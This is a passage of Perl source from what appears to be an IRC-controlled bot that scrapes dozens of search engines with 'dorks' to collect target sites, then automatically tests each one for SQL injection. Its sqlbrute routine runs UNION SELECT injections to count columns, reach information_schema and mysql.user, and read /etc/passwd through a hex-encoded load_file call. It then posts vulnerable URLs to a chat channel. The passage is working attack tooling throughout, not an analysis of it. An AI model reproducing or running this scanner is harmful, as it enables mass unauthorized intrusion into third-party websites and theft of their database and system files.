  578.             &type($chan,$bug,$dork,"mamma",$type);
  579.         } exit; }
  580.     }
  581.     if ($engine =~ /fireball/i) {
  582.         if ($pid = fork) { waitpid($pid, 0); }
  583.         else { if (fork) { exit; } else {
  584.             &type($chan,$bug,$dork,"fireball",$type);
  585.         } exit; }
  586.     }
  587.     if ($engine =~ /abacho/i) {
  588.         if ($pid = fork) { waitpid($pid, 0); }
  589.         else { if (fork) { exit; } else {
  590.             &type($chan,$bug,$dork,"abacho",$type);
  591.         } exit; }
  592.     }
  593.     if ($engine =~ /netscape/i) {
  594.         if ($pid = fork) { waitpid($pid, 0); }
  595.         else { if (fork) { exit; } else {
  596.             &type($chan,$bug,$dork,"netscape",$type);
  597.         } exit; }
  598.     }
  599.     if ($engine =~ /webcrawl/i) {
  600.         if ($pid = fork) { waitpid($pid, 0); }
  601.         else { if (fork) { exit; } else {
  602.             &type($chan,$bug,$dork,"webcrawl",$type);
  603.         } exit; }
  604.     }
  605.     if ($engine =~ /live/i) {
  606.         if ($pid = fork) { waitpid($pid, 0); }
  607.         else { if (fork) { exit; } else {
  608.             &type($chan,$bug,$dork,"live",$type);
  609.         } exit; }
  610.     }
  611.     if ($engine =~ /GooGLe2/i) {
  612.         if ($pid = fork) { waitpid($pid, 0); }
  613.         else { if (fork) { exit; } else {
  614.             &type($chan,$bug,$dork,"GooGLe2",$type);
  615.         } exit; }
  616.     }
  617.     if ($engine =~ /GooGLe3/i) {
  618.         if ($pid = fork) { waitpid($pid, 0); }
  619.         else { if (fork) { exit; } else {
  620.             &type($chan,$bug,$dork,"GooGLe3",$type);
  621.         } exit; }
  622.     }
  623. }
  624.  
  625. #########################################
  626.  
  627. sub sql() {
  628.     my $chan = $_[0];
  629.     my $bug = $_[1];
  630.     my $dork = $_[2];
  631.     my $engine = $_[3];
  632.     my $count = 0;
  633.     my @list = &search_engine($chan,$bug,$dork,$engine,$sqllogo);
  634.     my $num = scalar(@list);
  635.     if ($num > 0) {
  636.         foreach my $site (@list) {
  637.             $count++;
  638.             if ($count == $num-1) { &msg("$chan","$sqllogo(4@8$engine15)10 Scan finish"); }
  639.             my $test = "http://".$site.$bug."'";
  640.             my $vuln = "http://".$site."4".$bug;
  641.     my $sqlsite = "http://".$site.$bug;
  642.             my $html = &get_content($test);
  643. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  644.             if ($html =~ m/Você tem um erro na sua sintaxe SQL/i || $html =~ m/Query failed/i || $html =~ m/SQL query failed/i ) {
  645.                 &sqlbrute($sqlsite,$chan,$engine);}
  646.             elsif ($html =~ m/ODBC SQL Server Driver/i || $html =~ m/Unclosed quotation mark/i || $html =~ m/Microsoft OLE DB Provider for/i ) {
  647.                 &msg("$chan","$sqllogo(4@8$engine15)15(4@9MsSQL15)13 ".$vuln);}
  648.             elsif ($html =~ m/Microsoft JET Database/i || $html =~ m/ODBC Microsoft Access Driver/i || $html =~ m/Microsoft OLE DB Provider for Oracle/i ) {
  649.                 &msg("$chan","$sqllogo(4@8$engine15)15(4@9MsAccess15)13 ".$vuln);}
  650.             elsif ($html =~ m/mysql_/i || $html =~ m/Division by zero in/i || $html =~ m/mysql_fetch_array/i ) {
  651.                 &sqlbrute($sqlsite,$chan,$engine);}
  652.             } exit; sleep(2); }
  653.         }
  654.     }
  655. }
  656. sub sqlbrute() {
  657. my $situs=$_[0];
  658. my $chan  =$_[1];
  659. my $engine=$_[2];
  660. my $columns=20;
  661. my $cfin.="--";
  662. my $cmn.= "+";
  663. for ($column = 0 ; $column < $columns ; $column ++)
  664. {
  665. $union.=','.$column;
  666. $inyection.=','."0x6c6f67696e70776e7a";
  667.     if ($column == 0)
  668.       {
  669.   $inyection = '';
  670.           $union = '';
  671.       }
  672.     $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
  673.     $response=get($sql);
  674.     if($response =~ /loginpwnz/)
  675. {
  676.          $column ++;
  677.          $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
  678. &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)13 $sql ");
  679.          $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
  680.          $response=get($sql)or die("[-] Impossible to get Information_Schema\n");
  681.          if($response =~ /loginpwnz/)
  682.          {
  683.          $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
  684. &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13INFO_SCHEMA15)13 $sql ");
  685.          }
  686.          $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
  687.          $response=get($sql)or die("[-] Impossible to get MySQL.User\n");
  688.          if($response =~ /loginpwnz/)
  689.          {
  690.          $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
  691. &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13USER15)13 $sql ");
  692.          }
  693.          else
  694.          {
  695.          }
  696. while ($loadcont < $column-1)
  697.    {
  698. $loadfile.=','.'load_file(0x2f6574632f706173737764)';
  699. $loadcont++;
  700.    }
  701.    $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
  702. $response=get($sql)or die("[-] Impossible to inject LOAD_FILE\n");
  703.          if($response =~ /root:x:/)
  704.          {
  705. &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13Load File15)13 $sql ");
  706. }
  707.          else
  708.          {
  709.          }
  710.           foreach $tabla(@tabele)
  711.                 {
  712.                   chomp($tabla);
  713.                   $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
  714. $response=get($sql)or die("[-] Impossible to get tables\n");
  715.                   if($response =~ /loginpwnz/)
  716.                     {
  717.                     $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
  718. &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13Tabel15)13 $sql ");
  719. &tabelka($situs,$tabla,$chan,$engine);
  720.                     }
  721.                 }
  722.     }
  723. }
  724. }
  725.  
  726.  
  727. #########################################
  728.  
  729. sub search_engine() {
  730.     my (@total,@clean);
  731.     my $chan = $_[0];
  732.     my $bug = $_[1];
  733.     my $dork = $_[2];
  734.     my $engine = $_[3];
  735.     my $logo = $_[4];
  736. if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
  737.     if ($engine eq "AllTheWeb") { my @alltheweb = &alltheweb($dork); push(@total,@alltheweb); }
  738.     if ($engine eq "Bing") { my @bing = bing($dork); push(@total,@bing); }
  739.     if ($engine eq "ALtaViSTa") { my @altavista = &altavista($dork); push(@total,@altavista); }
  740.     if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
  741.     if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
  742.     if ($engine eq "YahOo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
  743.     #new
  744.     if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
  745.     if ($engine eq "TisCali") { my @tiscali = &tiscali($dork); push(@total,@tiscali); }
  746.     if ($engine eq "CluSty") { my @clusty = &clusty($dork); push(@total,@clusty); }
  747.     if ($engine eq "GutSer") { my @gutser = &gutser($dork); push(@total,@gutser); }
  748.     if ($engine eq "ExaLead") { my @exalead = &exalead($dork); push(@total,@exalead); }
  749.     if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
  750.     if ($engine eq "VirgiLio") { my @virgilio = &virgilio($dork); push(@total,@virgilio); }
  751.     if ($engine eq "WebDe") { my @webde = &webde($dork); push(@total,@webde); }
  752.     if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
  753.     if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
  754.     if ($engine eq "LyGo") { my @lygo = &lygo($dork); push(@total,@lygo); }
  755.     if ($engine eq "YauSe") { my @yause = &yause($dork); push(@total,@yause); }
  756.     if ($engine eq "BaiDu") { my @baidu = &baidu($dork); push(@total,@baidu); }
  757.     if ($engine eq "BLacK") { my @black = &black($dork); push(@total,@black); }
  758.     if ($engine eq "oNeT") { my @onet = &onet($dork); push(@total,@onet); }
  759.     if ($engine eq "SiZuka") { my @sizuka = &sizuka($dork); push(@total,@sizuka); }
  760.     if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
  761.     if ($engine eq "SeZnaM") { my @seznam = &seznam($dork); push(@total,@seznam); }
  762.     if ($engine eq "NaVeR") { my @naver = &naver($dork); push(@total,@naver); }
  763.     if ($engine eq "GiBLa") { my @gibla = &gibla($dork); push(@total,@gibla); }
  764.     if ($engine eq "Yebol") { my @yebol = &yebol($dork); push(@total,@yebol); }
  765.     if ($engine eq "Amidalla") { my @amidalla = &amidalla($dork); push(@total,@amidalla); }
  766.     if ($engine eq "Kvasir") { my @kvasir = &kvasir($dork); push(@total,@akvasir); }
  767.     if ($engine eq "Buscar") { my @buscar = &buscar($dork); push(@total,@buscar); }
  768.     if ($engine eq "Excite") { my @excite = &excite($dork); push(@total,@excite); }
  769.     if ($engine eq "Interia") { my @interia = &interia($dork); push(@total,@interia); }
  770.     if ($engine eq "Snz") { my @snz = &snz($dork); push(@total,@snz); }
  771.     if ($engine eq "Rambler") { my @rambler = &rambler($dork); push(@total,@rambler); }
  772.     if ($engine eq "Yandex") { my @yandex = &yandex($dork); push(@total,@yandex); }
  773.     if ($engine eq "Blackle") { my @blackle = &blackle($dork); push(@total,@blackle); }
  774.     if ($engine eq "Wikipedia") { my @wiki = &wiki($dork); push(@total,@wiki); }
  775.     if ($engine eq "YauSe") { my @yause = &yause($dork); push(@total,@yause); }
  776.     if ($engine eq "RoSe") { my @rose = &rose($dork); push(@total,@rose); }
  777.     if ($engine eq "DucK") { my @duck = &duck($dork); push(@total,@duck); }
  778.     if ($engine eq "mamma") { my @mamma = &mamma($dork); push(@total,@mamma); }
  779.     if ($engine eq "fireball") { my @fireball = &fireball($dork); push(@total,@fireball); }
  780.     if ($engine eq "abacho") { my @abacho = &abacho($dork); push(@total,@abacho); }
  781.     if ($engine eq "netscape") { my @netscape = &netscape($dork); push(@total,@netscape); }
  782.     if ($engine eq "webcrawl") { my @webcrawl = &webcrawl($dork); push(@total,@webcrawl); }
  783.     if ($engine eq "live") { my @live = &live($dork); push(@total,@live); }
  784.     if ($engine eq "GooGLe2") { my @google2 = &GooGLe2($dork); push(@total,@google2); }
  785.     if ($engine eq "GooGLe3") { my @google3 = &GooGLe3($dork); push(@total,@google3); }
  786.     @clean = clean(@total);
  787.    &msg("$chan","$logo(4@8$engine15)4 Total:0 (".scalar(@total).")4 Clean:0 (".scalar(@clean).")");
  788.     return @clean;
  789. }
  790.  
  791. #########################################
  792.  
  793. sub isFound() {
  794.     my $status = 0;
  795.     my $link = $_[0];
  796.     my $reqexp = $_[1];
  797.     my $res = &get_content($link);
  798.     if ($res =~ /$reqexp/) { $status = 1 }
  799.     return $status;
  800. }
  801.  
  802. sub get_content() {
  803.     my $url = $_[0];
  804.     my $ua = LWP::UserAgent->new(agent => $uagent);
  805.     $ua->timeout(7);
  806.     my $req = HTTP::Request->new(GET => $url);
  807.     my $res = $ua->request($req);
  808.     return $res->content;
  809. }
  810.  
  811. ######################################### SEARCH ENGINE gibla
  812.  
  813. sub google() {
  814.     my @list;
  815.     my $key = $_[0];
  816.     for (my $i=0; $i<=400; $i+=10){
  817.         my $search = ("http://www.google.com/search?q=".&key($key)."&num=100&filter=0&start=".$i);
  818.         my $res = &search_engine_query($search);
  819.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  820.             if ($1 !~ /google/){
  821.             my $link = $1;
  822.                 my @grep = &links($link);
  823.                 push(@list,@grep);
  824.             }
  825.         }
  826.     }
  827.     return @list;
  828. }
  829.  
  830. sub alltheweb() {
  831.     my @list;
  832.     my $key = $_[0];
  833.     for (my $i=0; $i<=1000; $i+=100) {
  834.         my $search = ("http://us.yhs4.search.yahoo.com/yhs/search?fr=alltheweb&cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
  835.         my $res = search_engine_query($search);
  836.         while ($res =~ m/\*\*http%3a\/\/(.+?)\">/g) {
  837.             my $link = $1;
  838.             if ($link !~ /bingj|yahoo/) {
  839.                 $link =~ s/ //g;
  840.                 $link =~ s/%3f/\?/g;
  841.                 my @grep = links($link);
  842.                 push(@list,@grep);
  843.             }
  844.         }
  845.     }
  846.     return @list;
  847. }
  848.  
  849. sub uol() {
  850.     my @list;
  851.     my $key = $_[0];
  852.     for (my $i=1; $i<=1000; $i+=10) {
  853.         my $search = ("http://mundo.busca.uol.com.br/buscar.html?q=".key($key)."&start=".$i);
  854.         my $res = search_engine_query($search);
  855.         while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
  856.             my $link = $1;
  857.             if ($link !~ /busca|uol|yahoo/) {
  858.                 my @grep = links($link);
  859.                 push(@list,@grep);
  860.             }
  861.         }
  862.     }
  863.     return @list;
  864. }
  865.  
  866. sub bing() {
  867.     my @list;
  868.     my $key = $_[0];
  869.     for (my $i=1; $i<=1000; $i+=10) {
  870.         my $search = ("http://www.bing.com/search?q=".key($key)."&filt=all&first=".$i."&FORM=PERE");
  871.         my $res = search_engine_query($search);
  872.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  873.             my $link = $1;
  874.             if ($link !~ /msn|live|bing/) {
  875.                 my @grep = links($link);
  876.                 push(@list,@grep);
  877.             }
  878.         }
  879.     }
  880.     return @list;
  881. }
  882.  
  883. sub altavista() {
  884.     my @list;
  885.     my $key = $_[0];
  886.     for (my $i=1; $i<=1000; $i+=10){
  887.         my $search = ("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$i);
  888.         my $res = search_engine_query($search);
  889.         while ($res =~ m/<span class=ngrn>(.+?)\//g) {
  890.             my $link = $1;
  891.             if ($link !~ /altavista/){
  892.                 $link =~ s/<//g;
  893.                 $link =~ s/ //g;
  894.                 my @grep = links($link);
  895.                 push(@list,@grep);
  896.             }
  897.         }
  898.     }
  899.     return @list;
  900. }
  901.  
  902. sub ask() {
  903.     my @list;
  904.     my $key = $_[0];
  905.     for (my $i=0; $i<=1000; $i+=10) {
  906.         my $search = ("http://it.ask.com/web?q=".key($key)."&o=0&l=dir&qsrc=0&qid=EE90DE6E8F5370F363A63EC61228D4FE&dm=all&page=".$i);
  907.         my $res = search_engine_query($search);
  908.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  909.             my $link = $1;
  910.             if ($link !~ /ask\.com/){
  911.                 my @grep = links($link);
  912.                 push(@list,@grep);
  913.             }
  914.         }
  915.     }
  916.     return @list;
  917. }
  918.  
  919. sub yahoo() {
  920.     my @list;
  921.     my $key = $_[0];
  922.     for (my $i=1; $i<=500; $i+=1) {
  923.         my $search = ("http://www.search.yahoo.com/search?p=".key($key)."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$i);
  924.         my $res = search_engine_query($search);
  925.         while ($res =~ m/26u=(.*?)%26w=/g) {
  926.             my $link = $1;
  927.             if ($link!~ /yahoo/){
  928.                 my @grep = links($link);
  929.                 push(@list,@grep);
  930.             }
  931.         }
  932.     }
  933.     return @list;
  934. }
  935. sub sapo() {
  936.     my @list;
  937.     my $key = $_[0];
  938.     for ($b=1; $b<=50; $b+=1) {
  939.         my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".key($key)."&st=local");
  940.         my $res = search_engine_query($search);
  941.         if ($res !~ m/Next/i) {$b=50;}
  942.         while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  943.             if ($link !~ /\.sapo\.pt/){
  944.             my $link = $1;
  945.                 my @grep = links($link);
  946.                 push(@list,@grep);
  947.             }
  948.         }
  949.     }
  950.     return @list;
  951. }
  952.  
  953. sub tiscali() {
  954.     my @list;
  955.     my $key = $_[0];
  956.     for ($b=0; $b<=500; $b+=10) {
  957.         my $search = ("http://search.tiscali.it/?tiscalitype=web&collection=web&start=".$b."&q=".key($key));
  958.         my $res = search_engine_query($search);
  959.         while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
  960.             if ($link !~ /tiscali/){
  961.             my $link = $1;
  962.                 my @grep = links($link);
  963.                 push(@list,@grep);
  964.             }
  965.         }
  966.     }
  967.     return @list;
  968. }
  969.  
  970. sub clusty() {
  971.     my @list;
  972.     my $key = $_[0];
  973.     my $b   = 0;
  974.     for ($b=10; $b<=500; $b+=10) {
  975.         my $search = ("http://search.yippy.com/search?query=".key($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
  976.         my $res = search_engine_query($search);
  977.         if ($res !~ /next/) {$b=500;}
  978.         while ($res =~ m/<div class=\"docupareparet-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) {
  979.             if ($link !~ /yippy\.com/){
  980.             my $link = $1;
  981.                 my @grep = links($link);
  982.                 push(@list,@grep);
  983.             }
  984.         }
  985.     }
  986.     return @list;
  987. }
  988.  
  989. sub gutser() {
  990.     my @list;
  991.     my $key = $_[0];
  992.     for ($b=1; $b<=50; $b+=1) {
  993.         my $search = ("http://www.goodsearch.com/Search.aspx?Keywords=".key($key)."&page=".$b."&osmax=0");
  994.         my $res = search_engine_query($search);
  995.         while ($res =~ m/http:\/\/([^>\"]*)\">/g) {
  996.             if ($link !~ /goodsearch|good\.is|w3\.org|quantserve/){
  997.             my $link = $1;
  998.                 my @grep = links($link);
  999.                 push(@list,@grep);
  1000.             }
  1001.         }
  1002.     }
  1003.     return @list;
  1004. }
  1005.  
  1006. sub exalead() {
  1007.   my @list;
  1008.   my $key = $_[0];
  1009.     for ($b=0; $b<=1000; $b+=100) {
  1010.         my $search = ("http://www.exalead.com/search/web/results/?q=".key($key)."&elepareparets_per_page=100&start_index=".$b);
  1011.         my $res = search_engine_query($search);
  1012.         if ($res =~ m/<span id=\"topNextUrl\">/g) {$b=1000;}
  1013.         while ($res =~ m/<a class=\"thumbnail\" href=\"http:\/\/(.*?)\"/g) {
  1014.             my $link = $1;
  1015.             if ($link!~ /exalead/){
  1016.                 my @grep = links($link);
  1017.                 push(@list,@grep);
  1018.             }
  1019.         }
  1020.     }
  1021.     return @list;  
  1022. }
  1023.  
  1024. sub lycos() {
  1025.   my @list;
  1026.   my $key = $_[0];
  1027.     for ($b=0; $b<=50; $b+=1) {
  1028.         my $search = ("http://search.lycos.com/?query=".key($key)."&page2=".$b."&tab=web&searchArea=web&diktfc=468007302EF7DB9AFE53D4138B848E7B4000D424385F");
  1029.         my $res = search_engine_query($search);
  1030.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmouseover=/g) {
  1031.             if ($link !~ /lycos\.com/){
  1032.             my $link = $1;
  1033.                 my @grep = links($link);
  1034.                 push(@list,@grep);
  1035.             }
  1036.         }
  1037.     }
  1038.     return @list;  
  1039. }
  1040.  
  1041. sub virgilio() {
  1042.   my @list;
  1043.   my $key = $_[0];
  1044.     for ($b=10; $b<=500; $b+=10) {
  1045.         my $search = ("http://ricerca.virgilio.it/ricerca?qs=".key($key)."&filter=1&site=&lr=&hits=10&offset=".$b);
  1046.         my $res = search_engine_query($search);
  1047.         if ($res =~ m/non ha prodotto risultati/i) {$b=500;}
  1048.         if ($res =~ m/riconducibile a richieste effettuate/i) {$b=500;}
  1049.         while ($res =~ m/<a href=\"http:\/\/(.+?)\" target=\"/g) {
  1050.             if ($link !~ /\.virgilio\.it/){
  1051.             my $link = $1;
  1052.                 my @grep = links($link);
  1053.                 push(@list,@grep);
  1054.             }
  1055.         }
  1056.     }
  1057.     return @list;  
  1058. }
  1059.  
  1060. sub webde() {
  1061.   my @list;
  1062.   my $key = $_[0];
  1063.     for ($b=1; $b<=50; $b+=1) {
  1064.         my $search = ("http://suche.web.de/search/web/?pageIndex=".$b."&su=".key($key)."&search=Suche&webRb=countryDE");
  1065.         my $res = search_engine_query($search);
  1066.         if ($res =~ m/Suchbegriff nicht gefunden/i) {$b=50;}
  1067.         while ($res =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g) {
  1068.             my $link = $1;
  1069.             if ($link!~ /suche|web/){
  1070.                 my @grep = links($link);
  1071.                 push(@list,@grep);
  1072.             }
  1073.         }
  1074.     }
  1075.     return @list;  
  1076. }  
  1077.  
  1078. sub hotbot() {
  1079.   my @list;
  1080.   my $key = $_[0];
  1081.     for ($b=0; $b<=50; $b+=1) {
  1082.         my $search = ("http://www.hotbot.com/?query=".key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
  1083.         my $res = search_engine_query($search);
  1084.         if ($res =~ m/had no web result/i) {$b=50;}
  1085.         while ($res =~ m/rel=\"nofollow\" href=\"http:\/\/(.+?)\"/g) {
  1086.             if ($link !~ /hotbot\.com/){
  1087.             my $link = $1;
  1088.                 my @grep = links($link);
  1089.                 push(@list,@grep);
  1090.             }
  1091.         }
  1092.     }
  1093.     return @list;  
  1094. }
  1095. sub aol() {
  1096.   my @list;
  1097.   my $key = $_[0];
  1098.     for ($b=2; $b<=50; $b+=1) {
  1099.         my $search = ("http://aim.search.aol.com/aol/search?q=".key($key)."&page=".$b);
  1100.         my $res = search_engine_query($search);
  1101.         while ($res =~ m/href=\"http:\/\/(.*?)\" property/g) {
  1102.             if ($link !~ /aol\.com/){
  1103.             my $link = $1;
  1104.                 my @grep = links($link);
  1105.                 push(@list,@grep);
  1106.             }
  1107.         }
  1108.     }
  1109.     return @list;  
  1110. }  
  1111. sub lygo() {
  1112.     my @list;
  1113.     my $key = $_[0];
  1114.         my $b   = 0;
  1115.     for ($b=0; $b<=50; $b+=1) {
  1116.         my $search = ("http://www.hotbot.com/?query=".key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=lygo&page2=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
  1117.         my $res = search_engine_query($search);
  1118.         if ($res =~ m/had no web result/i) {$b=50;}
  1119.         while ($res =~ m/<a href=\"http:\/\/(.+?)\"><img/g) {
  1120.             if ($link !~ /hotbot\.com/){
  1121.             my $link = $1;
  1122.                 my @grep = links($link);
  1123.                 push(@list,@grep);
  1124.             }
  1125.         }
  1126.     }
  1127.     return @list;
  1128. }
  1129.  
  1130. sub yause() {
  1131.     my @list;
  1132.     my $key = $_[0];
  1133.         my $b   = 0;
  1134.     for ($b=1; $b<=50; $b+=1) {
  1135.         my $search = ("http://www.yauba.com/?query=".key($key)."&where=websites&target=websites&con=y&ilang=english&clt=topic&pg=".$b);
  1136.         my $res = search_engine_query($search);
  1137.         if ($res !~ m/Next/i) {$b=50;}
  1138.         while ($res =~ m/<h1><a rel=\"nofollow\" href=\"http:\/\/(.+?)\" onfocus=/g) {
  1139.             if ($link !~ /yauba\.com/){
  1140.             my $link = $1;
  1141.                 my @grep = links($link);
  1142.                 push(@list,@grep);
  1143.             }
  1144.         }
  1145.     }
  1146.     return @list;
  1147. }
  1148.  
  1149. sub baidu() {
  1150.     my @list;
  1151.     my $key = $_[0];
  1152.         my $b   = 0;
  1153.     for ($b=0; $b<=500; $b+=10) {
  1154.         my $search = ("http://www.baidu.com/s?wd=".key($key)."&pn=".$b);
  1155.         my $res = search_engine_query($search);
  1156.         while ($res =~ m/\" href=\"http:\/\/(.*?)\"  target=/g) {
  1157.             if ($link !~ /baidu\.com/){
  1158.             my $link = $1;
  1159.                 my @grep = links($link);
  1160.                 push(@list,@grep);
  1161.             }
  1162.         }
  1163.     }
  1164.     return @list;
  1165. }
  1166.  
  1167. sub black() {
  1168.     my @list;
  1169.     my $key = $_[0];
  1170.         my $b   = 0;
  1171.     for ($b=0; $b<=50; $b+=1) {
  1172.         my $search = ("http://blekko.com/ws/".key($key)."?ft=&p=".$b);
  1173.         my $cek = $b+1;
  1174.         my $res = search_engine_query($search);
  1175.         if ($res !~ m/<strong>$b<\/strong>/i) {$b=50;}
  1176.         while ($res =~ m/class=\"UrlTitleLine\" href=\"http:\/\/(.+?)\"/g) {
  1177.             if ($link !~ /blekko/){
  1178.             my $link = $1;
  1179.                 my @grep = links($link);
  1180.                 push(@list,@grep);
  1181.             }
  1182.         }
  1183.     }
  1184.     return @list;
  1185. }
  1186.  
  1187. sub onet() {
  1188.     my @list;
  1189.     my $key = $_[0];
  1190.         my $b   = 0;
  1191.     for ($b=1; $b<=50; $b+=1) {
  1192.         my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".key($key));
  1193.         my $res = search_engine_query($search);
  1194.         while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  1195.             if ($link !~ /webcache|query/){
  1196.             my $link = $1;
  1197.                 my @grep = links($link);
  1198.                 push(@list,@grep);
  1199.             }
  1200.         }
  1201.     }
  1202.     return @list;
  1203. }
  1204.  
  1205. sub sizuka() {
  1206.     my @list;
  1207.     my $key = $_[0];
  1208.         my $b   = 0;
  1209.     for ($b=10; $b<=100; $b+=10) {
  1210.         my $search = ("http://www.szukacz.pl/szukaj.aspx?ct=polska&pc=polska&q=".key($key)."&start=".$b);
  1211.         my $res = search_engine_query($search);
  1212.         while ($res =~ m/<a title=\"http:\/\/(.+?)\"/g) {
  1213.             if ($link !~ /szukacz/){
  1214.             my $link = $1;
  1215.                 my @grep = links($link);
  1216.                 push(@list,@grep);
  1217.             }
  1218.         }
  1219.     }
  1220.     return @list;
  1221. }
  1222.  
  1223. sub walla() {
  1224.     my @list;
  1225.     my $key = $_[0];
  1226.         my $b   = 0;
  1227.     for ($b=0; $b<=50; $b+=1) {
  1228.         my $search = ("http://search.walla.co.il/?t=0&e=utf&q=".key($key)."&p=".$b);
  1229.         my $res = search_engine_query($search);
  1230.         while ($res =~ m/<td class=sw><a href=\"http:\/\/(.+?)\"/g) {
  1231.             if ($link !~ /walla\.co\.il/){
  1232.             my $link = $1;
  1233.                 my @grep = links($link);
  1234.                 push(@list,@grep);
  1235.             }
  1236.         }
  1237.     }
  1238.     return @list;
  1239. }
  1240.  
  1241.  
  1242.  
  1243. sub seznam() {
  1244.     my @list;
  1245.     my $key = $_[0];
  1246.     for ($b=1; $b<=500; $b+=10) {
  1247.         my $search = ("http://search.seznam.cz/?q=".key($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
  1248.         my $res = search_engine_query($search);
  1249.         while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
  1250.             if ($link !~ /seznam/){
  1251.             my $link = $1;
  1252.                 my @grep = links($link);
  1253.                 push(@list,@grep);
  1254.             }
  1255.         }
  1256.     }
  1257.     return @list;
  1258. }
  1259.  
  1260. sub naver() {
  1261.     my @list;
  1262.     my $key = $_[0];
  1263.     for ($b=1; $b<=500; $b+=10) {
  1264.         my $search = ("http://web.search.naver.com/search.naver?where=webkr&query=".key($key)."&docid=0&#9001;=all&f=&srcharea=all&st=s&fd=2&start=".$b."&display=10");
  1265.         my $res = search_engine_query($search);
  1266.         while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  1267.             if ($link !~ /naver/){
  1268.             my $link = $1;
  1269.                 my @grep = links($link);
  1270.                 push(@list,@grep);
  1271.             }
  1272.         }
  1273.     }
  1274.     return @list;
  1275. }
  1276.  
  1277. sub gibla() {
  1278.     my @list;
  1279.     my $key = $_[0];
  1280.     for ($b=0; $b<=1000; $b+=10) {
  1281.         my $search = ("http://www.gigablast.com/search?s=".$b."&q=".key($key));
  1282.         my $res = search_engine_query($search);
  1283.         while ($res =~ m/href=http:\/\/(.*?)><font size=/g) {
  1284.             my $link = $1;
  1285.             if ($link!~ /gigablast/){
  1286.                 my @grep = links($link);
  1287.                 push(@list,@grep);
  1288.             }
  1289.         }
  1290.     }
  1291.     return @list;
  1292. }
  1293.  
  1294. sub yebol() {
  1295.     my @list;
  1296.     my $key = $_[0];
  1297.     for ($b=0; $b<=1000; $b+=10) {
  1298.         my $search = ("http://www.yebol.com/a.jsp?key=".key($key).".$b");
  1299.         my $res = search_engine_query($search);
  1300.         while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  1301.             if ($link !~ /yebol/){
  1302.             my $link = $1;
  1303.                 my @grep = links($link);
  1304.                 push(@list,@grep);
  1305.             }
  1306.         }
  1307.     }
  1308.     return @list;
  1309. }
  1310.  
  1311. sub amidalla() {
  1312.     my @list;
  1313.     my $key = $_[0];
  1314.     my $i   = 0;
  1315.     for ($i=0; $i<=100; $i+=10){
  1316.         my $search = ("http://www.amidalla.de/cgi-bin/amisearch.cgi?search=".key($key)."&page=".$i."&break=10&af=2&tld=com&et=2");     
  1317.         my $res = search_engine_query($search);
  1318.         while ($res =~ m/<a href=\"http:\/\/(.+?)\//g){
  1319.             if ($link !~ /amidalla/){
  1320.                 my $link= $1;
  1321.                 my @grep= links($link);
  1322.                 push(@list,@grep);
  1323.             }
  1324.         }
  1325.     }
  1326.     return @list;
  1327. }
  1328.  
  1329. sub kvasir() {
  1330.     my @list;
  1331.     my $key = $_[0];
  1332.     for (my $i=0; $i<=1000; $i+=10){
  1333.         my $search = ("http://www.kvasir.no/nettsok?offset=".$i."&pageSize=10&q=".key($key));
